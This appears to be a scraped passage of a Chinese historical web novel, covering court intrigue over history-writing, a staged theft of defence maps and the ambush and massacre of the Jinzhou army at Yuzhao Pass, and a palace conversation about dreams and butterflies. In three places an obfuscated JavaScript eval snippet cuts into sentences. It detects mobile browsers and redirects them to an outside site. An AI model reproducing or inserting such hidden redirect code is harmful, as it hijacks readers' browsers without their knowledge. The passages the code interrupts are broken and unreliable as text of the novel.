当时出言反对的,只有丞相元璟,他也并未想得更深,只是听闻有许多战死之人未寻到尸首,期待他们还侥幸存活,不愿就此匆匆盖棺定论。 立传修志如火如荼,舆论是一把点燃了却无法控制的火。 考据、探究、顺藤摸瓜捋清那些驳杂的关系网。修着史传,一些在以往心照不宣、却都被疏忽掉的事实,一览无余展示在公众眼前。 人无完人,金无足赤,再惨烈的殉国、再伟大的英雄,也经不起纤毫毕现地考据。 谋弑庄王的北宛汗王,是冯太后母族亲侄。所幸,冯太后在大朝会之后立即冷静下来,旋即命人暗中宣扬延恩侯冯睢遇害始末,并及时裁减昇阳冯氏的爵位食邑,才堪堪保住冯广年的卫尉卿之位。 为国战死的元晞,其妻姜嫣在昇阳守城战时携子出逃、自立为王,未能北上的姜氏族人皆被排挤出朝堂。 好巧不巧,平南侯元旭之妻宣菀,是通敌叛臣宣正浩之女。早在两年前宣氏叛变之时,元旭去冯太后、褚太后和烈王面前陈情,拼着前程断送,才保住发妻性命。 然而,延光一年上元夜,他与宣菀上街观灯,巧遇一群文人集会,夫妻均被唇枪舌剑、群起而攻之。 宣菀对拖累夫君深感愧疚,次日清晨元旭上朝之后,她支开所有仆婢、悬梁自尽。 元旭兢兢业业、拥立新朝,只换来家破人亡。 这场编撰修史,最终演化为对其它大小世家的舆论倾轧,造神变成了毁神。在这一年半战争中,居功至伟的昇阳冯氏、姜氏、平南侯、滬南大小家族,被翻出来大小干系牵连、声望毁半。 几乎未受影响的,就只有崔氏和褚氏。 崔氏久居深山,对外一直是耿介纯臣,征和十九年崔夫人谋反,崔氏大义灭亲、迅速与之划清界限,就连元昙也一并疏远。得以在这沧海横流的混乱世道,微妙地游离事态之外,寻不到什么致命错处。 于是,在满朝群情激愤、口诛笔伐中,崔氏反而声望日涨。 至于褚氏…… 元旭拿出烫好的酒,给元璟斟满、再倒给自己一杯:“我有一事不解,崔氏为何偏要扶持褚氏,莫非真像私下传闻的那样,司南侯出身金州?” “莫要妄加揣测”,元璟神色如常浅酌一口,“阿英身后美名远扬,褚氏是陛下的母族、又在朝中根基不深,为名为利,都是极好的控制对象。” 元旭怀想片刻,叹了口气:“若四嫂还活着该有多好,她在军中和滬南的影响力极大。大哥和四哥没了,我想最能控制住局面的人就是她。” “此话莫要再提”,元璟笑容苦涩,叹息道,“当年褚氏在朝堂什么样你又不是没见过,庄王还在尚且如此,失去庄王支持,她不被那帮老家伙活吞就该烧高香了。” 元旭目光灼灼:“她哪有那么弱?何况崔氏眼下正扶持褚氏,她若回来与咱们联手,未必没有……” “所以崔氏绝不会让她活着回来,她若回来,褚氏就该被弃子了”,元璟冷笑,“毕竟崔氏需要的是一面招牌,不是实实在在控制局面、克制自己的人。何况眼下这物议纷纷,她若回来还不知会被骂成什么样。” 元旭垂眸半晌,不知在想什么,许久才轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599536|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“无论如何我都希望她活着,且不说一起长大的情分,听母妃私下说,她其实是我表姐……这是秘密。” “几个侄儿里,就数你心肠最软”,元璟端着酒杯的手一滞,干笑两声,“我何尝不想,可她刺杀的人是苻洵啊,她当时瞒过了我们所有人。” 元旭疑惑道:“我猜到她会去找宣氏,也猜到她会去找冯栩和元昙,实在想不通她为何要冒险刺杀苻洵。” 元璟思索片刻,继续干笑:“她出发前找我喝酒的时候,身子已经垮了。许是预知大限将至,想以命换命、替大翊铲除最强的敌人吧。” 元旭沉默良久,喟然长叹:“听母妃说起过,四哥十分勤政、连带她也很累,怀着身子从未清净过,辅政辅得心力交瘁,动不动还要南征北战……活生生累垮的。” 元璟端起酒杯一饮而尽,眼底透出愤懑:“我若是她,即便还活着,也打死都不再回这乌烟瘴气的朝堂。” “四嫂最重家国节义,她若活着必不会坐视不理”,元旭摇头叹息,“何况她还是陛下生母,他们的羁绊是斩不断的。” “家国节义?”元璟哑然失笑,眼前浮现的却是夜市花灯下,那个牵着他的手、欢呼雀跃要买糖吃的稚子。 她留给他最后一句话是:“好累……短短二十余载,怎如此漫长?” “都想指望你,你又该去指望谁?”元璟低下头,一杯杯喝着闷酒,喝得神思恍惚,双眼泛起泪花,“早知今日,就该动作快些,抢在那黑心种子前头收作女儿,写进宗谱玉牒、叫他老惦记。” 元旭转头看向屋外,很久都没出声,像是怀想着什么。 . 燮陵,万木春。 宣菀自缢身亡之后,元旭一直长居阊江,这里只留了几个仆人看家。 最后一排庑房里,时不时传出几声有气无力的惨叫。 本名司徒空的开阳、本名谢恬的玉衡,趴在通铺上,后背和臀部一溜破损的皮肉层层叠叠,皮下青的紫的淤痕错综纵横,头发乱蓬蓬的、粘着干涸的血,一缕缕垂在颊边。 两名小厮每人拿着一盒药膏,动作极尽轻柔,替他们清理伤口、上药。 司徒空中气还足、重重感慨:“真是一朝天子一朝臣,若非平南侯力保,咱们两条命都交代了。崔长治不是生性耿介吗?当初崔氏不是率先投诚、推举庄王陛下吗,怎么变成如今这样了?” 谢恬疼得嘶嘶吸气,有气无力地冷笑:“耿介?哪个入仕多年的老家伙是真的耿介?当年庄王年富力强,对各路兵马把控得炉火纯青,崔长治那只老狐狸压根不知道他手上到底有多少底牌。” “逆王篡位那会儿,崔氏作为支持昭王的中流,若迅速改投元琤、肯定让家族名声扫地,可要是不站队逆王,又会致使军资粮草不济。庄王是中宫嫡出、羽翼丰满的储君,又仁厚礼贤,名也有利也有,崔氏除了他还有更好选择吗?” 司徒空犹自不解:“当今陛下也是中宫嫡出,崔氏隐忍那么些年,怎地突然跋扈起来?” “武氏满门战死,传承至今的将门大世家只剩崔氏,冯太后再擅长平衡势力、也难为无米之炊”,谢恬冷笑更甚,“寒门入仕的子弟还暂未成势,镇南府毗邻荣国,朝中仍要倚重金州军。崔氏不趁机多捞些好处、还等几时?” 司徒空愣了愣,正踌躇间,门外忽传来轻笑。 “谢兄竟有经纬之才,不愧是四嫂精挑细选的隐蝠卫”,元旭满脸赞许轻笑着,款步走入,“寒舍鄙陋,若贤兄不弃,可在此长居疗养,今后无论有何打算,在下都愿尽绵薄之力。” 他站在床前,眉眼带笑长身一揖:“权当是为了咱们八年前,并肩平南的袍泽之情。” 143. 夜袭 奉宁洛川别苑书房内,苻洵手拿一块洁白丝绢,慢腾腾擦拭手中长刀。 “主子,奉宁城的布防图被盗了。”郎琊神色焦虑地走进来。 苻洵蹙了蹙眉,动作却没有停,一丝不苟地将刀身擦得光亮可鉴:“怎么盗的?” 郎琊:“咱们的人从灵昌到奉宁,分两队精兵、各押送一份布防图,其中一队在玉照县被劫,花了一天一夜、追出近三十里,死伤过半才抢回图纸不至外泄。但是萧刺史检查发现,图纸上有半滴比较新的墨迹,推测是有人蒙着桑皮纸描摹过。” 苻洵神色凝重:“营造署、奉宁刺史府增设卫兵加强防守,全城戒严、昼夜不休搜寻盗匪。安排下去,咱们在城中的耳目,这些天注意从北边和东边进来的生面孔。” 郎琊迟疑着问:“主子,咱们是否告知陛下,改一改布防?” 苻洵叹了口气:“还有三天不到、满朝文武就迁过来了,改布防来不及,这几天加强巡逻、随机应变吧。” 郎琊领命而去,苻洵铿然收刀归鞘,眼神又冷又锋利:“崔氏,这笔旧账咱们慢慢算。” 建宁九年六月十八,黄道吉日,宜入宅,宜祈福,宜祭祀。 修缮近一年的奉宁王宫,在这一天正式迎来正主——建宁王苻沣、继后、两位公主、太子苻阙,及刚出世不久的五王子苻稷。 奉宁本是荣国旧都,荣襄王打下虞国之后,为更好控制戎陵山南灵昌平原大片沃野,迁都灵昌。此时疆域扩张、重心北移,迁回奉宁恰逢其时。 守着仪仗队鱼贯进入,祭告宗庙完毕,内三卫、禁卫、五城兵马司各自布防就位。苻洵慢悠悠退出安门,却没有回家,径直骑马直奔北郊而去。 奉宁城占地五万余亩,横跨南北八公里、东西六公里,四边城墙极其平直,八街九陌正向经纬,鳞次栉比的建筑整齐而方正,此刻都沉在夜幕中、万籁俱寂。 整座城池都因连日舟车劳顿,困乏酣眠。 因着宵禁,街头空荡荡的,只有披甲执刀的五城兵马司,十人成队在街道巡逻,铁靴踏地的声音清脆而空寂。 悠扬的梆子声穿过大街小巷,子时已到。 商贾云集的西市,悬山顶的青瓦屋面上,鬼影般闪出几条人影,轻巧地从屋脊跑过,在廊檐之间腾挪纵横,邻近子午大街时,在屋顶伏低、屏声静气等巡逻队伍走过。 再一跃而下,敏捷穿过宽阔的子午大街进入东市,借夜幕的掩盖,攀上屋顶时轻盈得像壁虎,继续向权贵聚居的区域挪移。 奉宁格局东贵西富,东市有宗室子聚居的兴宁街和永福街,有丞相景樊的七步斋、太尉苻洵的洛川别苑、御史大夫颜遂的清源居……间杂着外街各色商铺。 黑影穿过宅邸之间夹墙,无声混入外街的书铺、布店、酒坊、茶肆…… 一刻之后,兴宁街一家书铺轰然爆发一团亮红火焰,紧跟着永福街两头的小食店、布店,距七步斋一里的杂货铺,洛川别苑后门对面的酒坊……依次腾起滔天烈焰,火苗顺着挨挨挤挤的房梁和屋脊、向四面八方窜去。 深夜里,只见火光冲天,白色烟气罩住东市大片青瓦红瓦,烟雾混着火光充塞街巷屋宅,熏得人肺腑噎满焦灰,双眼火辣辣地疼、迎风流泪,什么都瞧不见。 老人的哀嚎、妇人的哭泣、孩童的嚎啕此起彼伏,脚步声匆忙而杂乱,府兵、仆从跑来跑去,一边奔走惊呼一边到处端水。望火楼被惊动,全城各区域的潜火兵倾巢出动,推着云梯、水龙飞速聚往东市。 火势太大,为防有人浑水摸鱼,城内巡逻的西、南、中城兵马司分作两队,一队聚向安门、西安门戍卫王宫,一队赶往东市协助救火、维护秩序。 城中大部分兵力被引去东市时,三教九流、贩夫走卒杂居的南城,不计其数的黑影从各处棚屋冲出,身形矫健而孔武有力,分作三队、分别向南城墙的安化门、启夏门、明德门飞奔而去。 奉宁城墙外,一河绕郭九城护,粼水涟漪黑光幽沉,三扇城门、三道石桥,石桥两端各设望楼一座。已近丑时,望楼上的哨兵将长枪杵在身前,强打精神撑直身体、压住打瞌睡的本能。 白色的传信烟花冉冉升起,炸开千万道雪亮星子,也照亮了哨兵渴睡的眼。哨兵霍然一惊,一手拔出腰间佩刀、一手去摸传信烟花。 鸣镝声尖啸而至,来不及闪避、一股寒凉穿透哨兵喉咙,去势不减,带着他倒退好几步才轰然倒地。同伴拔出刀惶然四顾,望楼凸出的屋檐忽然旋出一弯寒光,同伴张开嘴、却只发得出咕噜的血液涌动声。 身穿黑色短打的士兵黑压压卷过三道石桥,每个人都背着箭筒、弓箭、腰挂三把轻刀,冲着三道城门风驰电奔,即将到城墙根下时,正南的明德门猛然洞开。 领头人扬声高呼:“成败在此一举,武卒营的兄弟,冲!” 数十道金亮烟花嗖地窜起,带着锐利的尖啸劲射到最高点、炸成无数光点,漫天光点如星子悠悠散落。星光之下,金州武卒营列锥形阵、飞速攻入明德门。 金色烟花照亮夜空时,崔玄武已率五千精骑行至奉宁南郊,这是金州为数不多的骑兵,奉宁城东、西、南各城门外,十里开外的远郊、丘陵和道旁,均设伏步兵和弓弩营。 此次夜袭筹谋数月,金州军几乎倾巢出动,正是趁荣王刚刚迁都奉宁、立足未稳,重创其枢纽。他收到信号后一路狂飙,不过须臾已冲到城下、从护城河的桥面纷驰而过。 马蹄纷乱敲打着石板,踢踏踢踏似稠密的雨点,先是杂乱无章,随着速度加快、逐渐汇成富有节奏的鼓点,越来越重、越来越重,像巨雷碾滚而来,震得大地也开始颤动。 同一时刻,金州武卒营已冲入子午大街,与先前潜伏城中的武卒合兵汇在各大路口,冲向远处火把聚集之处——驰援而来的南城兵马司和西城兵马司。 崔玄武径直冲向大开的明德门—— 电光火石间,三声尖锐的鹰唳撕破夜空,护城河外炸开一片红光,似一匹火焰织成的帷幕,从背后照亮奉宁南城墙伤痕累累的砖石,前方袍泽手中的长矛反出血红光亮,映进金州骑兵惊惶的瞳孔。 崔玄武愕然回首,只见铁塔般幽沉的高大身影,在护城河外一字排开,包着玄色铁甲的武士、骑乘骨架高大的健马,不知何时已包抄到身后。 玄甲营! 去年六月,七千玄甲营被金州军杀得只剩一千多人,如今也只补充到两千人,对付他们却是绰绰有余。 与此同时,奉宁城各大衙门的朱漆大门轰然大开,端着盾牌的步兵潮水般涌出,人数竟有两三万,迅速阻塞贯穿南北的八条主干道。盾兵背后,依次抬着拒马刺、鹿角桩、弩床,黑压压朝武卒营平推而来。 火把映照下,步兵身后走出两名中年男子,一名身穿金色软甲,一名身穿红色软甲,齐声道:“奉宁刺史萧南图,凤台郡尉雷松,今日会一会大名鼎鼎的金州武卒营。” 玄甲营咆哮着卷过三道石桥,挟着雷霆万钧之力,橫槊扫千军,奉宁城内八台弩床、上千名射手万箭齐发。 在被玄甲营和奉宁、凤台合军淹没的刹那,崔玄武率近卫军、用尽最后力气调转马头,将玄甲营的包围撕开一个小缺口,冲向南郊,边逃边声嘶力竭呼喊:“奉宁有诈,撤!” 崔长治原本带着两万精兵在南郊设伏,方才看到那几道多炸开的烟花便觉不妥,已下令东西二郊的步兵收束、向南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607523|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汇集,一瞥见崔玄武丢盔弃甲奔逃而来,忙不假思索、率军掉头撤向东南约百里的玉照县。 玉照县有长达二十里的荒疏古道,名为玉照关,是奉宁城南重要关隘之一。从金州突袭奉宁,翻山越岭也行、抄近道也行,可若要押送辎重、大量行军,这是最近最平整的一条道路。 他们已在十天前占领玉照县,并率先安排武卒沿途控制驿站,确信一丝风都未漏出。 玄甲营、凤台郡兵马在后穷追不舍,堪堪补充的四万金州精兵豕突狼奔,勉强维持着队型,终于在次日午后逃至玉照县。 气还没喘均匀,玉照县低矮的城墙上霍然架起十多台床弩和投石机,对着刚逃到城下的金州军便是一顿狂轰乱射。 金州军立即兵分两路,冒着巨石飞箭、绕过城池直奔玉照关古道。 将将行至隘口,推着拒马刺、鹿角桩的步兵从古道内涌出。古道两侧,从山顶、山腰直到山脚,人头攒动,箭簇扣在弦上、石块堆在手下,蓄势待发。 “痛快,两万五对四万,好久没打过这样阔气的仗了。崔老国公,别来无恙?” 山顶旌旗摇晃,密密麻麻站满人,正中的年轻男子玄衣玄甲,不是苻洵却又是谁? 他神色慵懒、唇角噙笑,正居高临下漫声对崔长治喊话。 滚石轰隆滚碾而下,像一场又一场纷乱的泥石流,滚入丢盔弃甲的金州军之中,一簇簇血花乍然盛放又凋谢,络绎不绝的哀嚎响彻山谷。 石块推尽还有圆木,圆木之后、便是疾风骤雨般的飞箭。 从头到尾,苻洵都是那副散漫慵懒的神情、轻飘飘的目光,就连唇角那缕温和的笑意都未消减分毫。 却自始至终,没有下令任何人喊话劝降,甚至刚有武官喊出个“降”字,便被白袍卫拉弓引弦、一箭穿喉。 崔长治明白了,他守在此处,不只想打胜仗,更要将金州兵屠戮殆尽。 这场占尽天时地利的屠杀,足足持续了两个时辰。谷底的哀嚎声逐渐变少变小,被砸得稀烂的残肢、血肉模糊的尸骸挨着尸骸,横七竖八躺在一起,层层叠叠铺塞近两里地,黏稠的血淹到小腿。 崔长治头发蓬乱、满脸黑灰、全身血污、战甲破损,仍杵一根长枪强撑着,在尸山血海站得笔直,几名亲兵持刀护在他身前身后。 荣军已将他团团包围,哗啦啦一阵响动,似水一般从正中自动分开一条通途。苻洵慢悠悠走到他面前,连长刀都未出鞘半寸,只唇角噙笑、反反复复上下打量他。 崔长治目眦欲裂,用尽全身力气,怒吼一声、抬起长枪往前刺去。 苻洵抬手止住举盾的卫兵,身子仰后稍微侧了侧,右手轻巧抬起,行云流水般旋起一道冷亮圆弧、环绕枪杆转了几圈,质坚如铁的椆木枪杆顿时断作三截。 “太慢了”,苻洵笑容可掬,真诚地点评,“五十年老将,不过如此。慢就算了,还蠢!” 崔长治不知所谓,狠狠啐道:“阴险卑鄙,狡诈小人!” 苻洵笑容更盛,对身后将士说:“能将高贵体面的崔老国公气得破口大骂,你们蜷在山坳里整整十二天的罪,没白受。” 崔长治一愣:“十二天?” 苻洵笑出声来:“是啊,十二天,他们眼睁睁看你们攻占玉照、控制军驿,却只能蜷在那儿动都不能动,真是憋得抓心挠肝。” 崔长治瞳孔急遽缩小:“那布防图是你抛的饵?” “想知道?”苻洵挑了挑眉,笑得上气不接下气,“偏不告诉你!” 旋即,他从郎琊手中接过一截麻绳,抛向身后将士,眼神冰冷而讥诮,一字字道:“堂堂镇南公,何等尊贵体面!死法也应当干净些!” 144. 庄生晓梦迷蝴蝶 苻洵一边伸懒腰,一边抱怨:“大半夜从北郊爬山绕路,真是累的慌。” “主子,那两队人马护送的布防图是假的?”郎琊追上苻洵,忍不住发问。 “从建宁四年起,京城所有护卫全是哥哥的亲信旧部,奉宁的布防全由他与萧南图商定”,苻洵漫不经心悠悠道,“布防图?我自己都没那玩意儿,上哪儿给崔长治变一张出来?” 郎琊脑子有点转不过来:“可你跟萧刺史讨论了大半个月。” 苻洵斜斜瞥向郎琊:“我曾担任过五城兵马司大统领,萧南图想找我问些细节、草拟个初案。去年腊月萧南图回京述职,才跟哥哥敲定奉宁布防详图和细部,然后亲自带到奉宁,全程都没有经过我的手。” 郎琊恍然大悟:“所以主子在布防图被盗后,要求立即全城戒严搜寻奸细,也是作戏?生怕崔长治他们不信。” 苻洵嗤笑:“外界传我跋扈擅专,传得有些人脑子都蠢了,哥哥既信重我,我又怎能负他?” 郎琊沉吟道:“许是以己度人,现下有传闻崔氏拥兵自重。毕竟崔氏镇守抗荣前线,又在去年重创咱们玄甲营和弓弩营,朝中风头一时无两。” “玄甲营竟成他们出风头的工具?”苻洵不悦地挑眉,长叹一口气,“我前年占了翊东三十多城,也没拽成他们这样,照样膝盖都跪麻了……” 郎琊和秦川交换了个眼神,憋笑憋得十分难受。 苻洵带着白袍卫,一边说着俏皮话,一边顺山坡小径走向谷外。忽然,一名斥候从山顶小跑下来,满身是血、跌跌撞撞冲到苻洵面前跪下,双手奉上军报。 苻洵接过军报展开,逐字逐句细看,脸上仍挂着笑,眼神却逐渐凝重:“我可真羡慕崔氏,这么些又蠢又狂的废物,死到临头都还有人救。” 建宁九年六月十九,南翊趁荣国迁都立足未稳,倾金州之兵突袭奉宁,被早有准备的苻洵诱入陷阱,困战一天一夜,金州军在玉照关全军覆没,崔长治、崔玄武及无数崔氏族人战死。 金州军前往玉照的同时,沈绍宗率戎陵山大营的精兵夙夜奔袭,攻打防守空虚的金州城,崔玄仁与留守的五千士兵拼死抵抗,坚守五天五夜、城门将破时,夏河之上忽有战鼓和号角渡水而来。 樊州水师遵冯太后之令,搭载援军及时赶到。 南翊援军人数是荣军的五倍,荣军顷刻腹背受敌,沈绍宗当即率军撤回戎陵山大营。 此一战,南翊虽未丢失金州,却损失得更多——无数深谙戎陵群山、蓥山、摩云群山、夔山、木城山地势地形的崔氏子弟。 . 北宸殿灯火通明,内三卫将前后殿门团团围住,苻沣身披软甲、手执长剑,在王座上坐得端直。这位平素温厚儒雅的国君,此刻像一把笔直的长槊,目光如炬,越过殿中摩肩接踵的臣工和宗室子,越过三重宫墙,望向更远的远方。 火把攒动,两列卫兵从西安门小跑着鱼贯而入,为首两名将领跪在殿门外廊下,隔着内三卫扬声禀报。 “末将郅阳郡尉裴朔!” “末将玄甲营副指挥使南宫羽!” “启奏陛下,四万金州军已在玉照关尽数伏诛,末将奉建业侯之令,特来复命!” “尽数伏诛”四个字响起时,苻沣瞳孔急遽震动了刹那,握剑的手无意识紧了紧,极快恢复平静、淡淡开口。 “玉照关大捷,众爱卿百战无前、舍生忘死,自当论功行赏。吏士有死亡者,给其丧具,使归邑墓;有死事之家,以钱粮田地恤之,建官塾教养其遗孤,岁遣使者,劳赐其父母妻儿,著不忘于心。” 殿内众臣齐齐跪拜,称颂苻沣爱民质渊、柔德流光。宗室子弟面面相觑、目露忧虑了片刻,也紧跟着跪下稽首大拜,附和称颂起来。 荣国强敌环伺、征战不断,之前虽有对阵亡将士的抚恤政策,却并不完善,而且迟迟落不到实处。 建宁八年三月,因去岁东征,死伤将士数量庞大、国内老幼妇孺无以为继。景樊和颜遂奏请健全抚恤制度,并开始强有力地逐步推行。 这些条条框框虽由景樊和颜遂牵头,却少不了继后和苻洵明里暗里支持。 苻洵如此做很好理解,收敛袍泽遗骸、掩埋超度,善恤父母家小、使其后顾无忧,对稳定军心、增加己方战力大有裨益。继后身为南翊公主,也跑来掺和一杠子军务,还是能显著提高敌国战力的策略,就十分耐人寻味了。 她的所作所为,不止苻洵看不懂,荣国、南翊满朝文武都没人看得懂。 “城中乱军已平、街陌巷道也已清理完成,诸位夫人和女公子受惊了,今夜即可返家”,继后坐在清泉宫前殿主位,对着殿内挨挨挤挤的贵妇贵女,神色无悲无喜,“东市失火,诸位家宅修缮皆由营造署全力担当,所需度支一应从国君私库支出。” 好像这短短两日,被打得哀鸿遍野的不是她母国的军队。 满殿女眷散去后,继后仰头靠着椅背、闭目养神片刻,才缓缓起身走向东偏殿。 穿两道槅门,高大的檀木透雕屏风将灯光割得支离破碎,屏风之后的檀木条案上,放着一盏六角素纱宫灯,映得屋内三张面孔一半晦暗、一半明亮。 苻忆坐在案前,面前摊着一卷书,正挑灯夜读,神情十分专注,不时用鼠须蘸墨、在书页上圈点。苻阐手持一册《盐铁论》,压低声音、正与锦瑟辩论不休。 昏黄的烛光下,苻阐眉目温柔、鼻若悬胆,纵是在辩论,举手投足依然端雅入骨,平和而温煦。 继后静静注视着锦瑟和苻阐,眼眸逐渐变亮、唇角微微上扬,轻声自语:“原来如此。” 声音虽轻,却已惊动锦瑟,忙带着两个孩子起身、要屈膝下拜。继后唇角弯了弯,柔声说着“都免礼”,目光却只一瞬不瞬盯着锦瑟。 锦瑟发现,较之去年初见时,继后清减许多、脸色惨白如纸,两片薄唇几无血色,脆弱得一阵风就能吹倒。她心头不由一揪,伸手去搀扶继后。继后感激地笑了笑,并未推拒,顺势任她扶着走向长秋宫。 “请殿下莫要过分萦怀,节制哀伤、珍重贵体。”两人携手走下台阶,顺着宫道和曲廊走了许久,锦瑟酝酿半晌,终于生涩开口、打破沉默。 继后偏过头,意味深长地注视着她:“建业侯筹谋数月,在玉照、奉宁设伏无数,以布防图为饵,合英平、凤台、郅阳三郡之兵,为的不就是今日?夫人此时生出恻隐之心,岂非背弃夫主?” 锦瑟恻然苦笑:“妾如此说,并非觉着侯爷保家卫国有何不妥,只是心疼那些战死的亡魂,无论是荣军还是翊军。” 继后目露探究:“听说去年此时,夫人被金州军擒入地牢,受尽酷刑、还险些送了命,如今倒好了伤疤忘了疼?” 锦瑟笑容淡了几分,正色道:“无论是哪国的武将,都应当御守国门、奋勇杀敌,而战争从不因对方是妇孺老弱而手下留情。妾憎恶的不是交战中的哪一方,而是战争本身。” “兵者,不祥之器,不得已而用之。无论初衷是什么,再是无辜纯善之人,一旦开始交战、也只剩你死我活了。” 继后双眼有些潮润,挤出个微笑:“是啊,该被憎恨的是战争本身。可迄今为止,有人的地方就有争斗,战争永不会彻底消失,我们只能憎恨某一个人、一群人。” 说话间,二人已步入长秋宫,慕荷抱着苻稷过来,两眼含泪下跪哀求:“娘娘,五殿下一直哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623172|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不停,您好歹抱抱他吧。” 继后只瞥了一眼,并未伸手去接,淡淡地说:“怕是饿了,传乳母过来。”竟直接拉着锦瑟,掉头又向殿外走去,身后苻稷的嚎啕弱了下去,逐渐变成抽噎和呜咽,继后却只拉着锦瑟越走越远,头也不回。 婴儿的哭声灌满双耳,锦瑟听得心如刀割、几欲落泪,她分明感觉继后的手在微微发颤,身躯紧绷,脚步却没有半分迟疑。 突然想起苻洵说过,继后与建宁王那些复杂的爱恨纠葛,不禁幽幽叹了口气,也不知说什么好。 继后斜过目光瞟向她,走进一座石亭、拉她一同坐下,宫阙连绵处热闹的灯火,唯她二人栖身处黑暗而寂静。 “我命中本就没有子女缘分”,继后仰头看向夜空,眼圈微微泛红,“既无缘分,不如趁早割舍。” 锦瑟不解其意,怔怔看着继后的脸,脑中不知怎地浮出一张同样的面容,却是娇俏而灵动的。 心念一动,转瞬被未知的恐惧淹没,锦瑟咽了几口唾沫,极力压下心头恐惧,轻声探问:“请恕妾冒犯,斗胆问殿下一句,妾是否真的酷肖褚太后?那位褚太后……她是怎样的人?” 继后深深看着锦瑟:“世人都说她是大英雄,可她不过也是被困在天命里的可怜人。” 又从袖中拿出一只软木雕刻、憨态可掬的执夷,唇角微弯:“多谢夫人替我解颐,以前从不知,夫人的雕工如此精细。” 锦瑟赶紧起身施礼:“一直跟着侯爷到处乱逛,喜欢这些小玩意的做工,想雕些别致的东西,就胡乱刻了些小兽,不成章法、让娘娘见笑了。” 继后双眸一黯,笑容略带落寞:“夫人很喜欢建业侯?想和他长长久久过下去?” 锦瑟思忖犹豫半晌,嗓音有些颤:“妾不知……明明建业侯待妾情深意切,妾也很喜欢他,却不敢用心过深。总感觉眼前所见皆是虚妄,好似置身黄粱一梦。” “人生于世,又何尝不是一场春秋大梦。却不知是庄周做梦变成了蝴蝶,还是蝴蝶做梦变成了庄周?”继后直勾勾盯住她双眸,目光如炬,一字字开口,“夫人是想成为蝴蝶,还是想成为庄周?” 声音如利刃,霎时刺穿脑颅,锦瑟痛到呼吸困难、双目发胀发涩,两耳轰鸣如雷,心脏突突直跳,全身血液冰凉。终于,在眼前晃出的无数重影中,她四肢僵麻、失去知觉。 晕倒时,素白的纯银祥云锁从脖颈中掉出,继后躬身拾起银锁、摊在手心仔细端详,眼神似喜似悲:“蝴蝶啊。” . 苻洵回到洛川别苑已是七月初七,他先褪下血迹斑驳的玄甲和衣袍,沐浴更衣之后,嗅了嗅鼻子,确定没有血腥味,才干干净净走向后院。 梅林碧绿成荫,搭着一架丈高的秋千。锦瑟坐在秋千上,身躯随着绳子的摆动、有一搭没一搭随意轻晃,目光却一瞬不瞬地聚焦双手。 她正专心致志用小刀削着一块软木,不知又在雕刻什么,碎木屑洒满浅紫罗裙,再纷纷扬扬飘到地上,像无数风中飞舞的浅白蝴蝶。 手臂上举时,薄纱衣袖向下滑了几分,露出她皓白的手腕、戴着两只手镯:千股金银花丝分别缠作梅枝、荷花茎,绕为两股,点缀着石榴石雕琢的梅花、芙蓉石雕琢的九瓣芙蕖。 苻洵看了半晌,眸中逐渐漾起笑意,埋头雕琢的她似有所感,抬眸对他嫣然一笑,又继续手头的活计。 随着她稠密的动作,那一大块软木逐渐显出雏形:小桥流水竹林、简约坚固的吊脚楼、围着花篱笆的汤泉,年轻女子在水边浣衣,年轻男子在灶前做饭。 苻洵在脑中将下半年军务排了排,正思索哪天再带她进山,宫里传来通报,召他入上书房议事。 145. 边垣之盟 “外臣平南侯元旭,奉翊国延光陛下及冯太后之命,拜见荣王陛下。” 素雅沉敛的水磨石地板泛着哑光,上书房用的是全套紫檀木书架、博古架、书案、茶几和椅子,苻沣坐在书案后的主位上。 堂下座次分列两行,左手边依次是丞相、司农令、御史大夫、尚书令,右手边孤零零坐着个苻洵。 所有人都注视着堂下躬身长揖的年轻男子。 平南侯元旭二十多岁,头发乌黑而润泽,束着一枚白玉冠,额前两撮碎发使他看起来十分乖巧。皮肤细白、修眉凤目,下颌轮廓清晰流畅,穿一袭水蓝色绫绢交领直裰,用银色丝线绣着白鹭,散发着水泽草木的清香。静静站在那儿,像一株干净的蓝莲花,又青涩又灵秀。 元旭施礼完毕,扫视了一圈堂下座次,文官那列只剩最末尾还有张空椅,武官那列…… 苻洵眉眼带笑站起身,往下挪了个座次,将坐首的位置让给元旭。元旭暗自松了口气,坐上那张还温热的椅子:“多谢建业侯,久仰大名。” 苻洵笑容可掬:“不必客气,咱们不是昨天还同舟共渡么?” 所有人:“……” 玉照关大捷后,苻洵直接沿古道去了趟金州,想会一会崔氏仅剩的嫡系子、新任镇南公崔玄仁。 作战一天一夜有些疲累,他走走停停翻山越岭,抵达金州城北门时,樊州水师早已撤离,只丢下五万步兵留守金州。沈绍宗也早已偃旗息鼓,分批撤回戎陵山大营。 